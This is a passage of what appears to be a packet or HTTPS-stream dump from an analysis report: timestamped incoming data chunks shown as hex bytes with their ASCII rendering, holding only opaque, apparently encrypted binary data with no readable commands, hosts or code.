c4 2f e4 13 a5 fc ca 5f 0c d2 Data Ascii: 7aFP.>9e]>-p5c9r"o6E`e>h_-82fT7yd\|=5,\Y;5'Ywt~]Bf!5yLf&h3vowG`MJWj96*$~V:HZ/_
2021-09-27 18:32:52 UTC	151	IN	Data Raw: ae 39 2f 41 d0 a0 ac 6f a7 d1 79 91 10 9c 09 49 0e 90 48 6e 34 b2 9f 38 88 5c 68 fb bd 8c 9d 5a 89 8f 6a 53 fd 43 15 a0 75 29 ea 10 a5 bc 11 80 cb 46 6f e1 2b e3 8f 68 90 59 be da d2 40 a0 ba 72 14 a7 13 3f c4 f1 02 b9 19 a2 0c bb 5e 3c 79 75 16 c6 bc 2c 23 d2 24 b6 37 1f 9c 7a 07 b3 ed 5c f2 e3 e5 3b b3 e0 a2 08 60 a2 86 e9 d3 7f bf 07 f5 78 13 81 0e c9 84 58 cf bb b4 56 3b cd bb 2c 7f 82 8f 1d 08 d5 9a d6 00 37 3a 2a a6 5b 49 2b 52 0a b3 e4 ca 25 df 4d 94 36 6f 5d 6c 34 b6 f0 5a a9 47 2c 8e 78 e4 cc 50 7f f7 f1 9d 91 55 96 32 d8 e7 25 03 73 b9 cd 44 70 b1 a3 15 f9 f5 9d cb 4f ef 88 f5 08 8b d1 c7 11 c8 52 7f 8c fb 10 5a 25 e9 97 b4 23 f6 4a 9b e5 5c f1 1b cc 86 b9 0e 02 62 f9 60 64 49 e1 2c 7c 05 c8 c3 85 ed 9c e8 00 bd 02 38 cd 08 05 32 9d 33 37 09 c4 Data Ascii: 9/AoyIHn48\hZjSCu)Fo+hY@r?^<yu,#$7z\;`xXV;,7:*[I+R%M6o]l4ZG,xPU2%sDpORZ%#J\b`dI,\|8237
2021-09-27 18:32:52 UTC	155	IN	Data Raw: c1 78 15 47 49 07 d5 0a 2e e2 9b bb 09 1f 66 87 6c 65 12 3c a1 4d cb 03 60 95 6e 39 0a ef be b1 83 99 93 d5 ff e2 53 72 04 b0 d4 a2 73 fb 72 80 26 29 5f fa 84 2f b2 71 bb 18 59 30 77 7b 1a 18 4d 2b 74 71 a0 ad 42 46 7f 83 d0 67 73 0a 1e 3b 76 f3 ac 30 96 30 a7 62 5a f2 ee c5 96 0f 8f 65 7a 7f 04 67 46 ae 37 f8 cf ae 41 02 d4 4a 94 0b 1f 8d b8 c7 19 1d 02 7a 16 47 e4 da fd 44 1e c8 a0 43 ef 08 bb 96 d6 34 b9 b0 91 8c ab 6a 0f ed b6 41 12 54 b2 02 1f 1d 0d 8c ed 93 e1 d6 28 a5 aa cb 41 6d 8b f6 52 c4 a5 78 e9 7f 07 d8 1f 74 91 84 85 3e 79 7d 38 4c ea 93 11 c2 3e 06 d0 a4 ae ef a2 0d f2 39 db c0 05 04 d4 49 4a 3e 55 07 9f 9f b4 de 10 7a 61 fa e6 c7 ea 98 66 dc 13 e2 91 2a aa 8a 2e 4c 49 af 29 55 31 c9 a6 b2 76 db 23 4b de 9d 80 f1 9a 74 a3 35 53 35 f4 cf 4f Data Ascii: xGI.fle<M`n9Srsr&)_/qY0w{M+tqBFgs;v00bZezgF7AJzGDC4jAT(AmRxt>y}8L>9IJ>Uzaf*.LI)U1v#Kt5S5O
2021-09-27 18:32:52 UTC	159	IN	Data Raw: e9 96 b3 20 5b b0 dd 0e 02 02 af 25 f8 8b 85 73 86 b4 c1 2d 16 e4 44 13 9f 79 48 88 60 25 e4 7d fa 4d 62 ae 88 31 fe c8 ab 6b 79 a0 fe f3 69 b4 99 65 0b 04 90 69 6e ce a9 6c 44 8b b9 5f 6e 68 fa b8 56 2d 7d 22 21 3d e8 f2 f9 fe 37 ea 8a 34 f2 0f 56 66 0d 7d 71 c7 e1 3c bb d4 62 fb f1 ae 65 13 e9 db 0d 0e 59 3d e8 df 73 21 5e b6 24 00 31 4f 2f 28 a6 03 b2 f2 82 43 e2 64 33 02 85 19 e4 7c ef a1 e8 2d 91 b7 57 37 b5 4b bc 76 3e 3a 42 a1 88 20 b2 10 fe 91 bf 7c 21 40 59 c2 7f 35 be e2 91 b9 55 2f fd b3 3e 7c c5 f0 2c dc 16 19 9b 74 2d e5 36 30 9d 92 f8 05 70 6a 90 33 14 8c 69 64 18 a7 07 25 5f 4b 22 17 ab 78 ef 76 11 4d d3 88 fc e1 b1 d5 0c 04 69 6b 82 33 ba ee de 68 ea 2a c6 56 92 b5 f2 d8 0b 59 0d bc 1f bb 11 0d c7 2b 42 ad a5 47 f5 a4 82 60 99 69 1a 2e 2d Data Ascii: [%s-DyH`%}Mb1kyieinlD_nhV-}"!=74Vf}q<beY=s!^$1O/(Cd3\|-W7Kv>:B \|!@Y5U/>\|,t-60pj3id%_K"xvMik3h*VY+BG`i.-
2021-09-27 18:32:52 UTC	163	IN	Data Raw: f3 5a 17 83 cd f1 2d c2 79 c7 77 9f 73 e3 e8 9c b8 f3 e3 1c 3a 9d 27 02 ed 34 6c 90 6e b6 51 49 6c 95 ce 89 65 c9 fa bf 55 f8 b6 14 31 33 b9 83 d2 42 d3 44 4e 1c 01 4f 0a 88 bf 4d 94 d3 ed fc 2c b0 15 7b 28 4f 77 19 6e 5b 29 3e 5a 75 53 51 b8 7c 78 25 46 fa 2e 88 56 e0 cb b6 82 c7 90 67 1d cf 76 5c 7c f5 c3 71 95 20 e9 a6 29 54 24 af 75 63 b4 a9 fe 25 2a 61 07 8d 44 96 7e 57 92 ea e1 67 9c 35 ea 17 ff 5f 84 25 3c 8d a2 1d dd ff e8 1d f2 39 c4 68 79 90 e8 b7 c4 97 19 ae 97 fe 55 0f c6 77 2f f1 a5 51 ea d3 06 b1 9d e9 96 7a 8c 28 78 9f d5 6e 6a 50 17 c7 b8 e8 9e 97 96 cc 5d 25 e4 2d 89 62 57 e7 4e 14 6b 5a 0c 4b 47 cf 0a 68 5a 3c 9d b0 bc 62 73 51 8f 0f ee 95 1d a9 94 33 da 79 dd 26 fa 14 9a 13 d9 93 c9 ce c1 af 4b f4 b1 5c aa 95 6a c8 88 ff 0c 25 ba d4 0c Data Ascii: Z-yws:'4lnQIleU13BDNOM,{(Own[)>ZuSQ\|x%F.Vgv\\|q )T$uc%*aD~Wg5_%<9hyUw/Qz(xnjP]%-bWNkZKGhZ<bsQ3y&K\j%
2021-09-27 18:32:52 UTC	167	IN	Data Raw: d5 2d 31 ad ee 46 26 6d 1b e5 83 49 de b2 5e 85 62 17 ff ee f2 8a 57 b3 5f f4 84 45 e3 a4 37 30 40 2e d2 d7 cb a2 ca a4 c0 25 75 1a a6 6b 6b 78 ea 6c b5 8f 5a da 0f 40 cb 44 a6 a1 b7 c2 0d 65 72 5c fd cc 6b 49 97 0c e2 a6 a5 2c 6b 26 0a fd 02 cc 7e dd 50 28 a0 9a 15 83 d2 de 0f 11 4b 03 fa 63 47 c1 37 00 af 75 37 32 bd 0f ba 3b d1 0f d6 4b b0 f8 3b 73 cc 08 0c fc 49 23 d1 b9 08 89 bd 1f c6 c7 28 c0 6b 0e d3 e3 7d c0 86 8a 21 ab 0b 59 e9 7a 25 bd 58 a5 69 ab 9e f0 4e b3 b1 32 86 03 a2 cb a0 14 82 84 fb 5a 6c 92 1a ee f8 ea 60 60 50 11 8e c4 68 3d a5 54 73 27 3c 56 05 57 8a a1 22 26 d6 45 ae 6c 7a 73 03 f7 19 1e 8b dd d6 35 8a 61 21 d3 bb ff 3c 34 39 6c 77 fa 63 24 79 dd 6b 0a 2d 8f 1d 95 1f d2 1b 3c 25 66 c3 ce 43 0d d3 b9 e2 b3 b3 25 a1 3f 81 92 61 94 6a Data Ascii: -1F&mI^bW_E70@.%ukkxlZ@Der\kI,k&~P(KcG7u72;K;sI#(k}!Yz%XiN2Zl``Ph=Ts'<VW"&Elzs5a!<49lwc$yk-<%fC%?aj
2021-09-27 18:32:52 UTC	171	IN	Data Raw: eb 41 9a 58 82 d1 90 91 96 4d a3 9a 3c 80 9e 44 00 25 8d 4d b4 71 6e 70 de b7 0e d7 bc 48 25 b7 28 3f d5 88 b9 1f e4 cf f6 1d f1 bf 72 9f a8 44 b0 d7 98 a2 73 5b a6 25 d8 85 c5 bc 07 d8 5e 7f fd c1 de 57 10 a3 94 a4 da 2d 36 d7 53 0d 9b bf d5 f0 89 bc ae 72 3e ba 82 90 5b 84 95 ee c2 19 d3 60 bc c2 d3 d1 09 67 5d f4 ce 08 46 72 0e 42 4e 7d 0c 03 8a b4 e1 cd a2 c0 eb 8a 0d b0 80 67 e9 ec 3b d0 d4 e7 71 2c a6 61 4b 1b f5 74 b2 50 8e 80 4e a3 a1 77 bc c0 a3 f0 ef 72 3f e0 50 36 cd 07 06 9e e8 54 a6 3f 36 24 9f ab 1a 14 5f f4 f3 9d 51 36 02 5b d4 ab d5 12 71 a4 31 c1 fc 96 2c b0 3b 28 44 00 87 8a 5b 26 b2 69 7e 77 17 29 59 b2 ab 8f 0d 58 16 2b b5 4b dd 54 bb 11 b4 0a 96 b7 bf e0 1f 58 bd 18 6a 86 e9 6f 42 d1 b3 b8 87 a6 3d 0d 74 d0 4a 2e 94 2f ad 56 77 ff 10 Data Ascii: AXM<D%MqnpH%(?rDs[%^W-6Sr>[`g]FrBN}g;q,aKtPNwr?P6T?6$_Q6[q1,;(D[&i~w)YX+KTXjoB=tJ./Vw
2021-09-27 18:32:52 UTC	175	IN	Data Raw: 78 e1 c1 d9 dc 09 af 5d 22 bd 8d 78 e5 38 c0 db 66 99 4b 9a 0a 1f 24 a7 47 df b4 2c b3 8c 84 e5 8f 46 e8 f4 6c fb ef 33 9a f7 d7 dd a0 93 db 3d da 26 6b d7 d1 15 d6 c6 47 7b d7 25 55 6b 47 0e 16 67 a4 c1 5c 29 99 67 12 bf c5 a4 48 a8 55 b2 9b cf 65 4f 88 31 b7 63 c6 96 99 01 68 e2 79 c7 f4 a9 a8 4e 01 06 09 ee 67 8e f2 f8 22 fc 10 2b bc cc 16 a1 4d 7d 55 72 d5 98 9e 50 ab 3f e5 2c df d3 00 24 bb bc 61 b1 c7 85 77 8d ce f3 90 df 6c a1 fa 8e 17 48 58 ca e9 1f 7c a7 3d 7c 72 d7 fc d0 54 90 45 8e 6b 16 41 52 2c 7c 28 2d 12 c7 0f 5a 5f 58 cd 86 68 04 c8 6c eb b8 3d b1 14 32 61 11 21 b2 06 85 b9 18 f4 02 5e 71 25 36 d8 35 3b f7 05 98 af 14 54 c7 dc 11 9c 26 41 2d ec 1f ed df f7 c2 9e 77 70 69 f5 07 62 93 3e 2d 5f 16 95 99 4e 70 f1 bc 14 9f fa f9 79 7e 6a a9 4a Data Ascii: x]"x8fK$G,Fl3=&kG{%UkGg\)gHUeO1chyNg"+M}UrP?,$awlHX\|=\|rTEkAR,\|(-Z_Xhl=2a!^q%65;T&A-wpib>-_Npy~jJ
2021-09-27 18:32:52 UTC	179	IN	Data Raw: 59 91 0c cf 22 e9 ce 76 cd 98 35 46 73 da 93 f3 c4 5d 53 6f fb fa e6 12 71 05 3e 0d f8 e0 71 94 2f 97 73 46 9a 61 9a 4b b4 59 9b 65 0c 3f b8 cb de ae b6 29 64 88 53 09 68 74 3f 45 e9 ee 7f e1 89 0e a8 f9 51 2d ad f1 71 e1 8f 78 cc 1f 79 83 ca 5b 91 57 4e 67 f8 fd 9a 1f 36 7f b5 c5 24 db 1e 59 30 f3 c7 06 c8 70 07 5b 8d 09 1d 2d 6b 79 45 2f 04 39 48 27 e2 50 97 4d 94 77 63 45 00 eb 29 a8 5b 1b e5 0d 68 0c 02 40 fa 99 d6 30 73 4f 3a b1 e6 f9 b9 d0 d2 5e da 37 77 39 35 46 7b 57 a3 bb bf 22 eb 85 42 51 c1 25 03 53 cd 8b 64 67 3b 92 83 da d2 00 dd fc 9a 77 c8 42 5f 91 04 9d 86 d7 9a 1c ca e6 59 02 49 49 16 48 60 b4 a4 91 b4 72 3b 3a 09 df e2 03 7f 2b f4 01 a9 5e aa c7 7d cc 0f 69 e0 c2 03 57 88 99 5b bc f5 9e cd 11 2e 8e b2 9c 4f a9 e0 e7 82 da 4d 79 3d 67 4d Data Ascii: Y"v5Fs]Soq>q/sFaKYe?)dSht?EQ-qxy[WNg6$Y0p[-kyE/9H'PMwcE)[h@0sO:^7w95F{W"BQ%Sdg;wB_YIIH`r;:+^}iW[.OMy=gM
2021-09-27 18:32:52 UTC	183	IN	Data Raw: 1d b0 03 88 e7 69 27 54 d4 28 1a 52 25 7a 23 07 f9 d4 69 1b 72 34 d0 dd 9f 63 51 87 42 63 a7 84 f3 34 fe d7 14 44 a1 5f 1e d3 cd 53 90 fa ce 43 a6 18 3b a4 4d 16 bd 1a ce 2a 79 34 46 5f 9e 01 08 33 17 25 d4 d2 e2 9d 80 9a fd 0d ec b9 e6 68 a8 1d aa 71 57 ce 95 bb 63 a0 3a ec 17 a0 6c 9f c5 a6 c1 db b6 19 22 7b 26 e0 ae 10 d2 56 86 1d 5f d8 15 48 ec 92 ca 6d 5e 6b a6 1a a9 fc 5a 82 4d 7b 55 e2 e4 b2 07 8c a8 fa 25 7e ff 86 d6 d1 2d 07 6b cc ac 66 41 5d b5 c6 ee a3 e0 42 f9 2d 70 85 ad ed c1 32 f2 d3 8d b1 2f b7 e3 c9 ca 0c 9c aa 89 cb 55 13 db de 5e 6a a1 2e 91 1f 91 36 88 a5 2b 0a ea 95 3f 7f 3c c3 c7 da 98 34 62 1f 8c b0 22 8e eb 67 35 25 45 7c ba 2c 40 03 36 ca e6 46 ca 2a ab ca 6e 84 d7 24 5d bb da ec a8 29 75 92 de 14 43 64 e7 df c5 ea 92 ef 7b 4e fd Data Ascii: i'T(R%z#ir4cQBc4D_SC;My4F_3%hqWc:l"{&V_Hm^kZM{U%~-kfA]B-p2/U^j.6+?<4b"g5%E\|,@6Fn$])uCd{N
2021-09-27 18:32:52 UTC	187	IN	Data Raw: 76 88 57 3b fa 1f 30 37 08 6e c0 de 06 72 3c b7 dd e6 77 69 35 b5 67 21 da 97 51 e2 8a 3f 23 37 2a 59 31 6a d5 18 17 22 1b 22 28 75 23 de 0e be 04 cb 8f fe ff 57 80 1f c0 2a ce b1 f7 34 12 a2 b6 b1 98 9c 39 68 87 00 b4 5c a9 e4 4d b4 3f 83 cc fc b3 a5 6b 37 ba 71 16 e6 48 87 c8 21 40 9e 57 64 03 6e d2 df 58 3a 48 70 9c f8 08 16 e8 ba 7b b6 32 df 04 78 86 de d9 8f de a7 0f 7b 85 ab 0b 61 e5 80 df f2 a9 57 40 ad 69 e0 ec 3c 06 43 05 ba 5b c1 82 71 0d 64 33 28 73 d8 88 59 38 ba 3c 0e db ff 4d ad 50 2b 33 bf d7 1d ae c4 f6 ca b3 43 8e 22 40 8c d7 18 b7 36 17 88 18 59 db fc ee 62 98 1c cc 47 47 10 b5 57 00 11 31 1d e6 70 20 e0 7a a9 3e 36 81 4d fe f2 e6 0c cd 25 da 6d c6 97 6d e1 02 95 49 4d ce 5f 3c 1b 83 17 e3 f0 37 1a d7 cd 52 b0 4c d0 64 6b 8a 94 f2 89 e5 Data Ascii: vW;07nr<wi5g!Q?#7Y1j""(u#W49h\M?k7qH!@WdnX:Hp{2x{aW@i<C[qd3(sY8<MP+3C"@6YbGGW1p z>6M%mmIM_<7RLdk
2021-09-27 18:32:52 UTC	191	IN	Data Raw: aa bd 66 6d 2e 58 a5 1f f2 b5 3b a0 c2 9d 35 cb 1a 55 ee 6c 96 37 95 85 ad d3 5c 9d fe 06 b3 36 90 69 07 25 4b 77 0e d7 b1 ba fb 95 df 7c d0 34 cb 1f 7c 11 96 22 d2 85 af 3f ea 6d cd 35 ef ce e3 fc c9 f7 0e 29 0c 78 b8 ef 7e 21 a5 a1 d1 9d 4f b4 82 f0 05 f8 14 ae 27 80 cd e9 80 9b ac 91 a3 db c0 a8 87 87 c6 b6 90 98 93 4a 4b cf 30 83 91 2a 02 0c 38 0f 9f ce 20 e4 9a 87 d0 9b 15 3f 0d d3 c0 98 63 c5 34 16 e5 aa 3a 9a ae 38 73 9d 8e 0b 1f 3e e7 ef 7f 3b 7e 9c 51 ff 45 8a 7c 91 c0 f9 1e 8f 55 ce a2 3a 9a 0e 58 32 46 51 28 d4 03 7c 50 c5 05 7b 1a ea b5 87 a6 20 23 e9 32 e8 12 14 11 61 f7 ae 2d dd 73 c0 f7 58 47 cb a2 c5 3f ce 04 ea bd b8 36 25 84 1a fc bf 2a 80 d2 41 4a 29 60 3e 47 bc e2 92 66 6a f9 e2 b6 02 d4 87 83 8b c2 e0 be e9 9a 23 3f ad c9 07 9b dd 59 Data Ascii: fm.X;5Ul7\6i%Kw\|4\|"?m5)x~!O'JK08 ?c4:8s>;~QE\|U:X2FQ(\|P{ #2a-sXG?6%AJ)`>Gfj#?Y
2021-09-27 18:32:52 UTC	195	IN	Data Raw: 22 21 a0 b2 6b a2 2a c7 23 60 7d 3b 51 86 3f 30 5e 24 9d 4b 01 dc de ed 18 d0 55 5d f5 09 5c e7 bd ed ec 6b 6d 0f 71 ec be 7f 07 90 16 18 0c 42 9b 77 c9 72 0c 14 46 32 bc a6 28 01 50 78 bc 79 32 5a ee a8 1c a1 da a9 44 22 1a 38 fb 61 34 73 f3 e3 ec 83 72 cb 62 2b 94 b0 a0 da a7 46 e7 5d ed 0b ab 91 04 27 00 5c 75 8d ef ad 0d 15 cb 16 c2 65 bf e3 9a a2 95 e7 95 7b a9 07 7d fa a3 92 bd 9c 8d 0b 46 b1 78 a4 a3 17 d9 f0 06 29 b8 6a 81 ac c5 d0 a8 8f 6a 6c 57 e8 4a f1 8f be 80 3b cb 04 32 c2 34 9d 23 a0 b0 48 73 2d 35 c5 3a 73 d2 3a ef 27 f8 3d 18 31 e5 ff 07 43 53 48 bc b3 2b a2 85 2e 0b dc 44 9d 0f 70 5a 78 59 ca ff 32 71 08 31 04 27 91 dc 9a 18 a8 ee fe 1c 66 13 21 fa be 87 97 e7 b7 aa 0b 49 85 c6 9e e1 09 dc 30 12 b1 c6 1b 09 a9 3d c1 93 f8 6f 4b 68 cf 67 Data Ascii: "!k*#`};Q?0^$KU]\kmqBwrF2(Pxy2ZD"8a4srb+F]'\ue{}Fx)jjlWJ;24#Hs-5:s:'=1CSH+.DpZxY2q1'f!I0=oKhg
2021-09-27 18:32:52 UTC	199	IN	Data Raw: 56 ad 1d c0 0e bc ef 49 22 d8 64 b2 8e 78 00 2e e1 eb 69 af 43 98 65 70 b4 96 9b e8 0c 58 29 98 6b ff c1 47 5e 87 f5 2c a3 8a 86 ef 7f a4 c3 0c 71 c1 f6 05 77 d4 6f 5e 35 fc e1 92 38 16 1c 00 82 c2 54 e6 ef 2b 48 26 14 bd 54 20 29 30 7c 28 66 03 4a 89 ff 3f 48 40 ed e8 35 35 d5 58 b4 01 bc f6 b1 f5 6f 33 c5 94 f6 f9 cc 13 4f dc 43 19 9b 12 45 b1 f9 13 08 92 d9 2f 25 df 6f 9d a0 f5 4f eb dd 29 70 ed 4c db 0a 9a 89 34 df 0a 1e 6a c0 77 ff 5f b0 21 d1 10 e7 0a c1 ea 2d 0f 4c c9 74 d9 cf 0b 26 e0 0e 2c f0 cc d2 e0 98 20 50 34 f0 49 8b 29 17 91 38 82 cf c1 32 94 c6 1f 83 e0 8b 91 da 4c 1b c7 2c ac 12 be e5 ce 97 ff d3 e6 55 60 71 4b dc 47 1a cc df f3 bc b7 fb 2f 1d 88 c2 ef 32 1c d9 53 08 01 52 10 c3 f2 2c 3a 04 5a 00 af 4d 1d 48 8f b6 9b 5f 1e 19 1b 19 4b 60 Data Ascii: VI"dx.iCepX)kG^,qwo^58T+H&T )0\|(fJ?H@55Xo3OCE/%oO)pL4jw_!-Lt&, P4I)82L,U`qKG/2SR,:ZMH_K`
2021-09-27 18:32:52 UTC	203	IN	Data Raw: 6d 4c 0c e2 9d bf 74 dc b9 02 9f c4 85 85 e1 63 56 94 5d 25 ec fd c9 29 d8 cd 43 e6 9a 38 3f dd 79 68 b4 76 8e 1b e8 f4 30 39 a0 46 01 48 1a 04 bb 07 37 ca d9 4f 66 bb 77 64 f9 9c 2a 2a 4f 03 3c 56 ed 80 8d 99 95 ac 17 7d 1c 09 3a 51 61 2f c4 9d de db 22 17 5d 25 fa 1f f9 9c 51 08 b8 80 8f 9d d1 3c 1f 90 34 42 10 ec 93 a7 b2 72 b5 f9 e9 76 86 08 ab e1 02 ca 8b 94 4d ff c2 98 5f 2a 4b fa 69 42 0a dd 10 ec ed 80 8e 1b e9 76 8d 99 d3 41 90 20 77 64 c0 93 c8 a7 f7 98 47 f0 69 42 05 51 61 2f c4 9d de db 02 ca bb 07 7f 77 17 7d 57 17 55 12 d1 3c 33 c0 e3 67 44 69 36 47 d0 ba ea f8 6e ce db 54 e6 ef a4 50 af ea 8b 94 0c e2 cd 33 e0 e0 85 85 f5 93 de db 20 12 d1 3c 30 39 a1 c9 09 5b 54 8f f3 8e 7a eb 12 f1 fb a1 a8 5a e8 f4 30 39 a9 dc b9 02 a3 cd 47 f0 75 5f 4f Data Ascii: mLtcV]%)C8?yhv09FH7Ofwd*O<V}:Qa/"]%Q<4BrvM_KiBvA wdGiBQa/w}WU<3gDi6GnTP3 <09[TzZ09Gu_O
2021-09-27 18:32:52 UTC	207	IN	Data Raw: 24 7d 72 ab e1 0a dd 3d d8 ed 80 98 33 e0 e0 93 a7 a2 4b 99 b5 96 2e 52 8b b4 76 95 ac 0c e2 8b 94 47 f0 66 bb 44 69 69 42 17 7d 01 48 12 f1 e5 6c aa 5e 87 8a 66 bb 68 c0 f7 98 5d 25 f7 98 44 69 62 b1 88 0d 0b 60 c5 1f e4 ea 99 b5 9c 3d aa 5e c4 9d 9f c4 ef 84 6c c9 5b 20 60 ac 26 21 8e 1b f2 0c 9a 38 29 a8 2e 34 2c 2f d9 4f 60 ac 43 e6 8a 11 0d 65 51 08 af ea 9d bf 75 5f 0a dd 2e 34 2d b2 16 fa 71 55 7b 6d 3b d3 61 2f d1 3c 38 4c 15 78 92 25 ff ab 84 03 3e 5a fd a6 75 5f 58 99 da d2 cd 33 b2 72 9d bf 35 c5 72 d8 ac 63 56 94 5b 20 66 bb 74 dc f7 98 5c a3 b9 02 ea f8 7b 6d 38 4c 1d 8b f0 07 76 e1 17 7d 01 48 1a 04 83 80 9c 3d bf 11 0f 69 2f b6 32 3e 7a eb 1e 0d 11 6e a7 d7 39 ce c2 98 13 73 35 c5 6b 47 d0 ba e1 63 56 94 45 eb 12 f1 e8 f4 56 94 01 48 1e 0d Data Ascii: $}r=3K.RvGfDiiB}Hl^fh]%Dib`=^l[ `&!8).4,/O`CeQu_.4-qU{m;a/<8Lx%>Zu_X3r5rcV[ ft\{m8Lv}H=i/2>zn9s5kGcVEVH
2021-09-27 18:32:52 UTC	211	IN	Data Raw: b6 7b 6d 4c 7c f0 07 56 94 29 a8 5a 9e 41 e2 e5 6c c9 29 aa 5e a7 d7 4b fa 1f 91 a2 4a 77 64 b6 3b d3 41 e2 c5 1f 90 20 3a 51 09 5b 27 a3 cd 33 8b 94 68 c0 ca ab e2 e5 23 99 f3 8e 55 12 b8 80 bc 8a 56 94 68 c0 d8 cd 70 d3 00 c5 4f 03 47 f0 4b fa 5e a7 9b ba c6 a2 1d 8b d0 ba 83 80 f9 9c 3d d8 cd 37 2e 34 42 64 a2 4b f3 ae ec fd a6 55 12 f1 89 8b 70 d3 41 e2 f1 89 86 28 56 94 29 a8 5a 9e 41 e6 0b 60 ac 63 27 a3 c4 bd 50 86 08 d9 4f 03 4c 78 02 ca ab e1 77 64 bf 31 f3 8e 1b 86 08 d9 4f 07 b2 72 d8 cd 27 a3 c4 bd 38 4c 7c f0 07 56 94 2d 56 94 29 a8 4e 81 75 7f 57 17 7d 72 d8 cd 33 c4 79 68 c0 93 b3 f4 19 a1 c5 1f 90 20 12 f1 89 8b 70 d3 43 69 f1 89 89 1f c8 a7 d7 4b fa 1f 90 24 f8 1a 04 cd 1b 86 0e 69 72 d8 cd 33 c0 93 a7 d3 a5 d2 bf 11 7e f4 16 74 fc 24 1c Data Ascii: {mL\|V)ZAl)^KJwd;A :Q['3h#UVhpOGK^=7.4BdKUpA(V)ZA`c'POLxwd1Or'8L\|V-V)NuW}r3yh pCiK$ir3~t$
2021-09-27 18:32:52 UTC	215	IN	Data Raw: 9e 41 e2 4d ff ae 28 26 1e e2 da 77 5b 10 d3 43 d8 70 ed fc 1a 45 d6 4a 4c ad dd 90 1b 3e 60 5d 1f 4a 4d 2c 15 dd 63 ad dc 43 dc a1 f3 e4 d0 e0 da 9d 85 c1 2c 1b bc a3 f7 bb 3d c1 2c 3e 63 50 bf 4d c6 98 0a c0 ab 11 56 74 e4 d6 f0 2b 95 af dd 8f aa 98 04 5c 94 5f 1d c2 ae 5c 96 f2 39 7f 42 fe 1d 01 7d 29 9d f4 24 e6 db d1 08 9e 75 75 6c 36 74 33 f3 56 a7 1f a2 00 f7 ac 51 2d 83 7b 5c e1 53 81 4c 44 59 00 c5 1f 90 a8 5a 9b 8a 11 6e ce 8a ef bb 3e 65 11 51 08 e7 81 42 87 b4 f8 24 9f f8 cc 8b 4a 4c df 65 ac 58 e2 de c5 24 1d b1 54 b5 52 b1 71 6f de e1 02 f0 30 03 64 8f 62 88 e4 d2 16 c2 a8 6d a0 71 85 b2 eb 4c f6 22 72 ef dc e1 21 a3 f3 b8 a8 6c d9 79 60 9a 3c 60 ac 56 68 f5 6b 72 2c 1a f4 25 72 ed 68 f5 77 51 e8 c1 ca 9e 99 80 2d 87 5a ab 2d 87 42 51 cc 85 Data Ascii: AM(&w[CpEJL>`]JM,cC,=,>cPMVt+\_\9B})$uul6t3VQ-{\SLDYZn>eQB$JLeX$TRqo0dbmqL"r!ly`<`Vhkr,%rhwQ-Z-BQ
2021-09-27 18:32:52 UTC	219	IN	Data Raw: 3b ef 96 15 b1 d5 c8 9d cb 14 f2 35 a1 f0 53 34 49 cd e4 dd a3 fa d5 71 2b 9a 2b 9b a5 e4 eb 4e 06 e0 25 aa 6e fa 07 62 b6 48 9c 0e 30 0a 1b b5 4d ce 82 cf 2d 82 05 61 56 a4 31 8b d4 f3 be 8e 1b 86 44 69 46 7e f4 10 ec c0 bd 31 bd 30 d0 81 bf 2a 99 8f 44 53 c7 1e 44 53 16 cd f2 39 30 0c 8a 24 23 ac 7e c0 79 5c dc e3 23 ad c3 29 43 d5 2e 07 42 54 c6 92 2d b2 72 d8 f5 93 a3 cd 33 ff 17 42 ee 3d a0 78 52 b7 d2 83 87 b1 47 cb 8f a4 c1 2f ff 93 b0 5a 6c fe ee 35 6d 7b 6e f8 dc e2 9d 8a 78 d3 51 3b fc 16 00 f7 6d 7e 2a 18 3e 68 42 55 81 4d 7e c5 56 a4 8e 2b e9 76 e1 63 77 64 b5 09 5b 1f 77 5b ea c7 b7 c1 64 89 be b1 e8 ca 0f 57 4c 42 5a a2 a1 f5 45 d7 1c 35 8f a6 a1 f2 db 6e 4a 4e 3e 63 86 31 1f a9 4f 3b 26 19 5e 9f ec cb 87 bc 85 b0 1e 38 15 4d cf 03 31 89 0d Data Ascii: ;5S4Iq++N%nbH0M-aV1DiF~10DSDS90$#~y\#)C.BT-r3B=xRG/Zl5m{nxQ;m~>hBUM~V+vcwd[w[dWLBZE5nJN>c1O;&^8M1
2021-09-27 18:32:52 UTC	223	IN	Data Raw: d7 4b c5 8d a6 2a 17 56 a8 bb 3c a2 70 bc b0 e0 da f8 20 0f 50 2b 94 41 db 09 62 85 bc 84 3b 02 f2 57 20 2f 81 73 6c 27 95 04 f9 a4 65 da e7 a6 60 60 99 74 e9 d9 7a b0 58 c9 1c 4c 49 c2 ad ca 9e 5e 92 31 8e 12 c5 e8 c0 eb 4f 64 82 e6 dc 1b b5 af d9 6c fa 10 dd 6e ff a8 6a 0b 50 1a 34 1d bb 28 26 21 95 c4 9d bd bc 8a 11 6e f1 76 de 14 ca 3c 69 26 1e 47 cd f0 3a e3 5a e4 d6 39 f2 db 68 7d 4e 25 a2 c2 a3 74 e7 e5 57 96 15 16 c1 56 ae 8f a7 07 6c 7f 4d 5c 99 25 a4 51 31 f5 ab 21 ad 5a a6 ed b8 34 7a 5b 18 53 35 6d 74 78 de 7b 55 8e 23 01 70 47 c8 2b 95 c0 ab bd 34 1a 3c 02 f2 5c 9b f6 2d fa 27 e7 49 b5 c1 2a 12 c9 11 5a a6 65 00 e9 4e a9 e4 ca 93 a7 e0 3c 61 96 19 12 c6 d0 8d f3 b9 4c 4b bc bd 12 c6 a7 e1 9e 77 bb 31 60 9a ef b2 b2 44 d5 70 67 0b f0 31 d7 7d Data Ascii: KV<p P+Ab;W /sl'e``tzXLI^1OdlnjP4(&!nv<i&G:Z9h}N%tWVlM\%Q1!Z4z[S5mtx{U#pG+4<\-'IZeN<aLKw1`Dpg1}
2021-09-27 18:32:52 UTC	227	IN	Data Raw: b8 b2 da e0 77 56 eb 49 97 83 9b 8b 7f 46 b9 33 12 c0 5e 96 28 16 11 5e 7c f0 07 56 30 39 cf c7 24 1c 09 65 db 6a 17 47 97 8b d0 80 cb 14 dd 60 5e 9e a3 f4 a7 ee 78 df 69 7b 6f 68 08 e1 ea c0 b0 5a 4f 34 c9 1f 7d 44 75 69 56 a2 5b 16 f6 23 91 94 2d 84 03 79 94 1c f1 bc 7e c1 fa 2a c2 ad 2a 1f 24 29 04 fa b7 cb 8a 24 bc bf 8d ac fb 94 bd 39 5e 92 a9 e9 f2 39 4e b4 12 c4 cb 1b b9 37 f1 bc ba b0 49 c0 b3 c1 0a e8 ec c8 b3 c1 06 e1 6f 65 30 0c e6 da d2 8b 68 f4 e8 c0 67 09 ab d5 aa 6a 2c 1b 62 85 65 0c 3e 6e 16 ce 61 1b 56 a0 8a 25 56 a0 82 ca 6b 73 e6 db ec c9 9d 8b 24 28 8a 25 36 73 fe 